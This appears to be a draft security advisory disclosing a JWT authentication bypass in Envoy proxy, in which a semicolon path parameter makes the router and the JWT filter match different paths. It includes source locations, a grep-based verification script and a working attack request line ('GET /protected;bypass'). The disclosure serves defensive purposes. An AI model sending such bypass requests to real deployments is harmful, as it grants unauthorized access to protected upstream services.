All advisories
Draft

JWT Authentication Bypass via Semicolon Path Parameters

envoyproxy/envoy

Affected packages

envoy other
Affected versions= c33d01624d5b173b5d6e5c0c0474d480cab69b7b
Patched versionsNot specified

Description

JWT Authentication Bypass via Semicolon Path Parameters

Affected commit: c33d01624d
Sink: source/extensions/filters/http/jwt_authn/filter.cc:89

Summary

When ignore_path_parameters_in_path_matching is enabled, the router strips everything after ; from the path but the JWT filter matches the raw :path. A request to /protected;foo routes to the JWT-protected upstream, but the JWT exact-path verifier for /protected doesn't match the raw path /protected;foo. The missing verifier is treated as successful authentication, allowing unauthenticated requests to reach protected upstreams.

Detail

At matcher.cc:96, the JWT PathMatcherImpl calls path_matcher_->match(headers.getPathValue()) using the raw :path. Meanwhile at config_impl.cc:817-821, the router strips everything after the first ; when ignorePathParametersInPathMatching is enabled.

The findVerifier loop (filter_config.h:90-93) returns nullptr when no path matches, and at filter.cc:89-90, verifier == nullptr results in onComplete(Status::Ok) — the request passes without JWT verification.

Request: GET /protected;bypass HTTP/1.1
Router sees:    /protected     → matches JWT-protected route
JWT filter sees: /protected;bypass → no verifier match → Ok
Result: unauthenticated access to protected upstream

Reproduce

#!/bin/bash
set -e

git clone --depth 1 https://github.com/envoyproxy/envoy.git /tmp/envoy-jwt-bypass
cd /tmp/envoy-jwt-bypass
echo "HEAD: $(git rev-parse HEAD)"

# Verify the JWT filter uses raw :path for matching
grep -n 'path_matcher_->match(headers.getPathValue())' \
  source/extensions/filters/http/jwt_authn/matcher.cc

# Verify the router strips path parameters when configured
grep -n -A4 'ignorePathParametersInPathMatching' \
  source/common/router/config_impl.cc | head -8

# Verify findVerifier returns nullptr when no matcher matches,
# and nullptr verifier is treated as Ok (authentication passes)
grep -n 'return nullptr' source/extensions/filters/http/jwt_authn/filter_config.h | \
  grep -i findverifier || \
  sed -n '100,110p' source/extensions/filters/http/jwt_authn/filter_config.h
grep -n 'verifier == nullptr' source/extensions/filters/http/jwt_authn/filter.cc

echo ""
echo "=== Vulnerable code confirmed at HEAD ==="
echo "JWT PathMatcherImpl matches against headers.getPathValue() (raw :path)."
echo "Router sanitizePathBeforePathMatching strips after semicolon."
echo "findVerifier returns nullptr when no path rule matches."
echo "filter.cc:89: verifier == nullptr → onComplete(Status::Ok)."
echo ""
echo "Attack: GET /protected;bypass HTTP/1.1"
echo "  Router path:     /protected     → matches JWT-protected route"
echo "  JWT filter path: /protected;bypass → no verifier match → Ok"
echo "  Result: unauthenticated request reaches protected upstream"

rm -rf /tmp/envoy-jwt-bypass

Observed output (verified at c33d01624d):

HEAD: c33d01624d5b173b5d6e5c0c0474d480cab69b7b
source/extensions/filters/http/jwt_authn/matcher.cc:96:    if (BaseMatcherImpl::matchRoute(headers) && path_matcher_->match(headers.getPathValue())) {
817:  if (vhost_->globalRouteConfig().ignorePathParametersInPathMatching()) {
818-    auto pos = ret.find_first_of(';');
819-    if (pos != absl::string_view::npos) {
820-      ret.remove_suffix(ret.length() - pos);
821-    }
source/extensions/filters/http/jwt_authn/filter.cc:89:  if (verifier == nullptr) {

=== Vulnerable code confirmed at HEAD ===
JWT PathMatcherImpl matches against headers.getPathValue() (raw :path).
Router sanitizePathBeforePathMatching strips after semicolon.
findVerifier returns nullptr when no path rule matches.
filter.cc:89: verifier == nullptr → onComplete(Status::Ok).

Attack: GET /protected;bypass HTTP/1.1
  Router path:     /protected     → matches JWT-protected route
  JWT filter path: /protected;bypass → no verifier match → Ok
  Result: unauthenticated request reaches protected upstream

Credit

Zheng Yu @ Depthfirst